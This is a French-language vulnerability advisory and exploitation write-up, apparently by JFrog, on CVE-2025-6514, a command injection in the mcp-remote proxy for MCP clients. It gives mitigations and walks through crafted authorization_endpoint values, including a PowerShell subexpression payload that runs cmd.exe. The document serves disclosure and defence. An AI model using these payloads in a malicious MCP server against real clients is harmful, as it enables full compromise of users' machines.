Vulnérabilité critique d’exécution de code à distance dans mcp-remote : la CVE-2025-6514 menace les clients de LLM

Pourquoi vous ne devriez pas vous connecter aux serveurs MCP non fiables

Clients mcp-remote exposés à l’exécution de code à distance_863x300

L’équipe de recherche en sécurité de JFrog a récemment découvert et signalé la CVE-2025-6514, une vulnérabilité de sécurité critique (CVSS 9.6) dans le projet mcp-remote, un outil populaire utilisé par les clients du Model Context Protocol. Cette vulnérabilité permet à des pirates de déclencher l’exécution de commandes arbitraires du système d’exploitation sur la machine exécutant mcp-remote lorsque celui-ci établit une connexion avec un serveur MCP non fiable. Elle expose donc les utilisateurs à un risque majeur : une compromission totale du système.

mcp-remote est un proxy qui permet aux hôtes de grands modèles de langage (LLM), tels que Claude Desktop, de communiquer avec des serveurs MCP distants, même s’ils ne prennent nativement en charge que les communications avec des serveurs MCP locaux.

De précédentes recherches avaient déjà démontré les risques liés à la connexion de clients MCP à des serveurs MCP malveillants. Il s’agit toutefois du premier cas où une exécution complète de code à distance est obtenue dans un scénario réel sur le système d’exploitation du client lors d’une connexion à un serveur MCP distant non fiable.

Nous tenons à remercier Glen Maddern (@geelen), principal mainteneur de mcp-remote, d’avoir rapidement corrigé cette vulnérabilité.
Qui est affecté par CVE-2025-6514 ?
La vulnérabilité affecte les versions 0.0.5 à 0.1.15 de mcp-remote. Elle est corrigée depuis la version 0.1.16.

Toute personne utilisant une version affectée de mcp-remote pour se connecter à un serveur MCP non fiable ou non sécurisé est vulnérable à cette attaque.

Sous Windows, nous avons démontré que cette vulnérabilité permet l’exécution de commandes arbitraires du système d’exploitation (notamment de commandes shell avec un contrôle total des paramètres).
Sous macOS et Linux, la vulnérabilité permet l’exécution de fichiers exécutables arbitraires avec un contrôle limité des paramètres. Des recherches supplémentaires pourraient permettre d’obtenir l’exécution de commandes arbitraires du système d’exploitation sur ces plateformes.
Scénarios d’attaque :

Scénario 1 : un client MCP utilise mcp-remote pour se connecter à un serveur MCP non fiable (détourné ou malveillant).

Figure 1 – ConnexionFigure 1 : un client MCP utilise mcp-remote pour se connecter à un serveur MCP non fiable.

Scénario 2 : un client MCP utilise mcp-remote pour se connecter à un serveur MCP de façon non sécurisée (le schéma de l’URL du serveur étant HTTP), tandis que des pirates présents sur le réseau local mènent une attaque de l’homme du milieu afin de détourner le trafic MCP. Ce scénario est probable au sein des réseaux locaux, car les clients MCP sont plus susceptibles de faire confiance aux serveurs MCP du réseau local et de s’y connecter de manière non sécurisée.

Figure 2 – Redirection par le pirateFigure 2 : un client MCP utilise mcp-remote pour se connecter de manière non sécurisée à un serveur MCP, tandis que des pirates locaux redirigent ou contrôlent le trafic MCP.

Comment atténuer la CVE-2025-6514 ?
Effectuer l’une des étapes suivantes permettra d’atténuer la vulnérabilité CVE-2025-6514 :

Mettez mcp-remote à jour vers la version 0.1.16. Cette version comprend un correctif pour la vulnérabilité. Il s’agit de la solution recommandée.
Connectez-vous uniquement à des serveurs MCP de confiance, en utilisant HTTPS (connexion sécurisée).

Transport MCP : local ou distant
Le Model Context Protocol (MCP) est une norme ouverte apparue en novembre 2024, qui a immédiatement suscité un vif intérêt et été largement adoptée. Il permet aux assistants d’IA et aux hôtes de LLM de se connecter de manière sécurisée à des sources de données, des outils et des services externes, et d’interagir avec eux en temps réel. Il permet à ces systèmes d’IA d’accéder à des informations actualisées provenant de bases de données, d’API et d’applications, tout en préservant la sécurité et le contrôle de l’utilisateur sur les données auxquelles les modèles peuvent accéder.
Figure 3 – Application de LLMFigure 3 : une application de LLM utilise un serveur MCP local exécuté sur la même machine.
À l’origine, les serveurs MCP étaient déployés localement et exécutés sur la même machine que l’application de LLM. Des serveurs MCP distants sont apparus depuis, permettant à plusieurs applications de LLM de partager la même instance de serveur MCP, tout en réduisant la charge opérationnelle liée à la maintenance et à la mise à jour des serveurs dans chaque installation.
Figure 4 – Serveur MCP distantFigure 4 : une application de LLM utilise un serveur MCP distant en communiquant localement avec mcp-remote, qui transmet les communications au serveur MCP distant via HTTP.
L’outil mcp-remote a gagné en popularité au sein de la communauté de l’IA lorsque les premières implémentations de serveurs MCP distants sont apparues, alors que la plupart des clients MCP ne permettaient encore que les connexions à des serveurs locaux.

Cet outil permet aux applications prenant uniquement en charge le transport MCP local via STDIO, telles que Claude Desktop, Cursor et Windsurf, de se connecter à des serveurs MCP distants via un transport HTTP en faisant office de proxy.

mcp-remote est largement utilisé, comme en témoignent la documentation officielle de Cloudflare, la documentation d’intégration d’Auth0, le blog de Hugging Face et différents tutoriels consacrés à l’adoption du MCP distant.

Il convient de noter qu’au cours des dernières semaines, des hôtes de LLM tels que Cursor et Windsurf ont ajouté la possibilité de se connecter directement à des serveurs MCP distants. Anthropic a également ajouté cette fonctionnalité pour les utilisateurs de Claude Desktop disposant d’un abonnement payant.
Résumé de la CVE-2025-6514
Lorsque les utilisateurs souhaitent configurer leur hôte LLM, comme Claude Desktop, pour qu’il se connecte à un serveur MCP distant, ils modifient le fichier de configuration de Claude pour ajouter une commande mcp-remote contenant uniquement l’URL du serveur MCP distant.
{
“mcpServers”: {
“remote-mcp-server-example”: {
“command”: “npx”,
“args”: [
“mcp-remote”,
“http://remote.server.example.com/mcp”
]
}
}
}
Figure 5 : exemple de fichier de configuration JSON MCP configurant un serveur MCP distant au moyen de mcp-remote.
Lorsque la configuration est enregistrée ou que Claude Desktop est redémarré, mcp-remote entame les communications initiales avec le serveur MCP. Le serveur peut lui demander de s’authentifier. mcp-remote demande alors au serveur les métadonnées de ses points de terminaison OAuth. Parmi les valeurs renvoyées, le serveur transmet l’URL de son authorization_endpoint (par exemple : https://remote.server.example.com/authorize). Cette URL doit être ouverte dans un navigateur afin que l’utilisateur puisse saisir ses identifiants.

Pour déclencher la vulnérabilité, un serveur MCP malveillant peut renvoyer une valeur d’URL authorization_endpoint spécialement conçue, comme le montre la figure ci-dessous :
Figure 6 – Initialisation de la connexion distanteFigure 6 : mcp-remote initialise la connexion avec un serveur MCP malveillant
mcp-remote tente d’ouvrir cette URL spécialement conçue dans un navigateur. En raison de la CVE-2025-6514, cette opération entraîne une injection de commande, permettant au pirate d’exécuter des commandes arbitraires du système d’exploitation.
MCP distant – Figure 7
Figure 7 : exécution de calc.exe à la suite de notre exploitation de la vulnérabilité.

Détails techniques de la CVE-2025-6514
mcp-remote sert de proxy entre le transport MCP local (STDIO) et le transport distant (Streamable HTTP ou SSE, deux protocoles basés sur HTTP), tout en assurant des fonctions d’authentification et d’autorisation.

Pour configurer un nouveau serveur MCP distant au moyen de mcp-remote, l’utilisateur doit uniquement ajouter l’URL du serveur au fichier de configuration JSON du client MCP, comme l’illustre la figure 5 ci-dessus.

Lorsque l’application du client MCP est rouverte, comme dans le cas de Claude Desktop, elle exécute la commande npx fournie, crée un processus Node et lance la fonction proxy.ts:runProxy de mcp-remote avec le paramètre serverUrl fourni dans le fichier de configuration ci-dessus.

Cette fonction construit un objet NodeOAuthClientProvider, qui sera utilisé si le serveur distant exige une autorisation.

Un objet StreamableHTTPClientTransport est ensuite créé et sa méthode send est appelée avec le paramètre serverUrl fourni. Dans le cas présent, la requête adressée à : « http://remote.server.example.com/mcp » reçoit une réponse « 401 Unauthorized » du serveur « malveillant ». Elle appelle alors la fonction auth.ts:auth afin de lancer la procédure d’autorisation.
Examinons ce qui se passe dans la fonction auth, ici simplifiée pour plus de clarté :

export async function auth(
provider: OAuthClientProvider, {serverUrl, authorizationCode?, scope?}): Promise {
let authorizationServerUrl = serverUrl;
try {
/* ### 1 ### */
const resourceMetadata = await discoverOAuthProtectedResourceMetadata(
resourceMetadataUrl || serverUrl);
/* … */
} catch (error) {console.warn(“Could not load OAut..”, error)}

/* ### 2 ### */
const metadata = await discoverOAuthMetadata(authorizationServerUrl);

// Handle client registration if needed
let clientInformation = await Promise.resolve(provider.clientInformation());
if (!clientInformation) {
/* … */
/* ### 3 ### */
const fullInformation = await registerClient(serverUrl, {
metadata,
clientMetadata: provider.clientMetadata });
/* … */
}

/* … */

// Start new authorization flow
/* ### 4 ### */
const { authorizationUrl, codeVerifier } = await startAuthorization(authorizationServerUrl, {
metadata,
clientInformation,
redirectUrl: provider.redirectUrl,
scope: scope || provider.clientMetadata.scope,
});

await provider.saveCodeVerifier(codeVerifier);
/* ### 5 ### */
await provider.redirectToAuthorization(authorizationUrl);
return “REDIRECT”;
}

Figure 8 : extrait simplifié de la fonction auth du fichier auth.ts (SDK TypeScript officiel du MCP).
Cette fonction sert à lancer le flux d’autorisation OAuth. Suivons les commentaires numérotés ### intégrés au code :

Nous contournons la logique de discoverOAuthProtectedResourceMetadata en renvoyant une réponse 401 Unauthorized lorsque cette fonction envoie une requête fetch à notre serveur (http://remote.server.example.com/.well-known/oauth-protected-resource).
Ensuite, discoverOAuthMetadata est appelée, récupérant les métadonnées OAuth à partir du point de terminaison /.well-known/oauth-authorization-server de notre serveur, qui renvoie un objet JSON répertoriant les points de terminaison OAuth et les paramètres de configuration. Le champ authorization_endpoint est inclus dans cette réponse. Sa valeur contient généralement une URL HTTP standard utilisée pour authentifier les utilisateurs, mais pour déclencher l’exécution d’une commande, le serveur malveillant renvoie une valeur spécialement conçue :

{“authorization_endpoint”: “file:/c:/windows/system32/calc.exe”,
“registration_endpoint”: “https://remote.server.example.com/register”,
/* … */
“code_challenge_methods_supported”: [“S256”]}

Le processus passe ensuite à l’enregistrement dynamique du client et accède à notre point de terminaison /register. Nous lui fournissons une réponse valide afin que le flux se poursuive.
La fonction startAuthorization (présentée ci-dessous) est appelée. Elle utilise la chaîne metadata.authorization_endpoint fournie à l’étape 2 pour construire un nouvel objet URL(). Elle lui ajoute ensuite des paramètres de chaîne de requête et renvoie le résultat :

export async function startAuthorization(
serverUrl, {metadata, clientInformation, redirectUrl, scope } {
if (metadata) {
authorizationUrl = new URL(metadata.authorization_endpoint); //javascript:$(calc.exe)
/* … checks some metadata params that pass … */
}
/* … */
/* adding searchParams (query-string) to the authorizationUrl */
authorizationUrl.searchParams.set(“response_type”, responseType);
/* … */
return { authorizationUrl, codeVerifier };
}

Figure 9 : Extrait simplifié de la fonction startAuthorization de auth.ts (SDK TypeScript MCP officiel)

La méthode provider.redirectToAuthorization(authorizationUrl) appelle ensuite la méthode redirectToAuthorization de notre objet NodeOAuthClientProvider, qui se trouve dans le fichier node-oauth-client-provider.ts :

async redirectToAuthorization(authorizationUrl: URL): Promise {
log(`\nPlease authorize this client by visiting:\n${authorizationUrl.toString()}\n`)
try {
await open(authorizationUrl.toString()) /* ### 6 ### */
log(‘Browser opened automatically.’)

} catch (error) {
/* … *
}
}

Figure 10 : extrait simplifié de la fonction redirectToAuthorization du fichier node-oauth-client-provider.ts.

La fonction open() est importée depuis le package npm ‘open’.  open(param) effectue les opérations suivantes sur les machines Windows* :

Elle détermine le chemin de powershell.exe.
Elle prépare une commande PowerShell encodée qui exécutera l’argument param.
Elle l’exécute dans un nouveau sous-processus avec la ligne de commande suivante :

powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ‘UwB0AGEAcgB0ACAAIgBqAGEAdgB….=’

PowerShell décode la commande et l’exécute. Dans notre cas — il exécutera calc.exe :

Start “file:/c:/windows/system32/calc.exe?response_type=code…..”

* Le package ‘open’ utilise des chemins de code différents sous macOS et Linux, en exécutant respectivement « open URL » ou « xdg-open URL ». Ces implémentations peuvent également être exploitées afin d’exécuter des fichiers arbitraires au moyen d’URL file://. La surface d’attaque est toutefois plus limitée, car aucun shell n’est invoqué, ce qui restreint la capacité à contrôler les arguments du fichier exécutable.

Du contrôle limité à l’exécution complète de commandes
Le mot-clé Start, qui fait référence à la cmdlet PowerShell Start-Process, peut exécuter un fichier exécutable ou le transmettre au shell Windows afin qu’il soit traité selon les associations d’extensions de fichiers ou les gestionnaires de protocoles (schémas d’URI).

Comme la chaîne authorization_endpoint sert à construire un nouvel objet URL(), elle doit respecter un format d’URL valide et commencer par un schéma d’URI.

Lorsque la valeur « file:/c:/windows/system32/calc.exe?response_type=code….. » est fournie, le fichier: URI scheme est utilisé pour exécuter le fichier calc.exe.
Figure 11 – Exécution à distanceFigure 11 : mcp-remote exécute le processus calc.exe alors qu’il tente d’ouvrir un navigateur pour l’autorisation.
Nous pouvons désormais exécuter n’importe quel fichier, mais sans lui transmettre d’arguments, ce qui n’est pas encore suffisamment utile.

Nous pouvons tenter d’exécuter un fichier distant à l’aide d’URL telles que « file://IP_ADDR/Share/test.bat?response_type=code….. ». Cette URL pointe vers un chemin UNC permettant d’accéder à des ressources réseau (notez la présence des deux barres obliques inverses).

Cette méthode fonctionne, mais Windows affiche un avertissement de sécurité concernant l’exécution d’un fichier distant :
MCP distant – Figure 12 : avertissement de sécurité affiché lors d’une tentative d’exécution d’un chemin UNC.MPC distant – Figure 13
Essayons une autre stratégie. Puisque la commande s’exécute dans PowerShell, nous pouvons exploiter la fonctionnalité d’évaluation des sous-expressions afin d’injecter nos propres commandes : « http://www.example$(calc.exe).com/?response_type=code….. ». Cette chaîne exécute calc.exe grâce à l’opérateur de sous-expression $(), qui évalue (exécute) l’expression transmise en paramètre.

Si nous pouvions fournir une espace, cette technique nous permettrait d’injecter des paramètres arbitraires dans la commande. Cependant, comme notre chaîne est traitée par URL() et qu’une espace n’est pas un caractère valide dans une URL, l’appel à new URL() échoue si l’espace se trouve dans le domaine. Dans les autres parties de l’URL, l’espace est encodée sous la forme %20. Par exemple, l’entrée « http://www.example.com/$(cmd.exe /c echo test) » est transformée en « http://www.example.com/$(cmd.exe%20/c%20echo%20test)/?response_type=code….. ». Il en va de même pour les tentatives utilisant le schéma « file: ».

Nous avons finalement remarqué qu’un schéma inexistant ne contenant pas de barre oblique inverse n’était pas encodé dans l’URL. Nous pouvons donc fournir « a:$(cmd.exe /c whoami > c:\temp\pwned.txt)?response_type=code….. » et obtenir l’exécution complète de commandes.

Figure 13 : Un nouveau fichier pwned.txt créé dans C:\temp à la suite de notre commande cmd.exe /c — ce qui prouve que l’exécution du code a réussi.

Résumé
Avec la découverte de la CVE-2025-6514, nous avons démontré qu’une exécution de code à distance était possible lors d’une connexion à des serveurs MCP non fiables. Comme indiqué précédemment, des hôtes de LLM tels que Cursor, Windsurf et Claude proposent désormais des fonctionnalités similaires permettant de se connecter à des serveurs MCP distants. Les utilisateurs du MCP doivent impérativement veiller à ne se connecter qu’à des serveurs MCP de confiance au moyen de méthodes de connexion sécurisées (HTTPS), car des vulnérabilités similaires à la CVE-2025-6514 pourraient être découvertes dans l’écosystème MCP en constante expansion.

Pour rester informé des autres attaques et vulnérabilités zero-day, consultez régulièrement le centre de recherche en sécurité de JFrog afin de découvrir les dernières informations concernant les CVE, les vulnérabilités et les correctifs.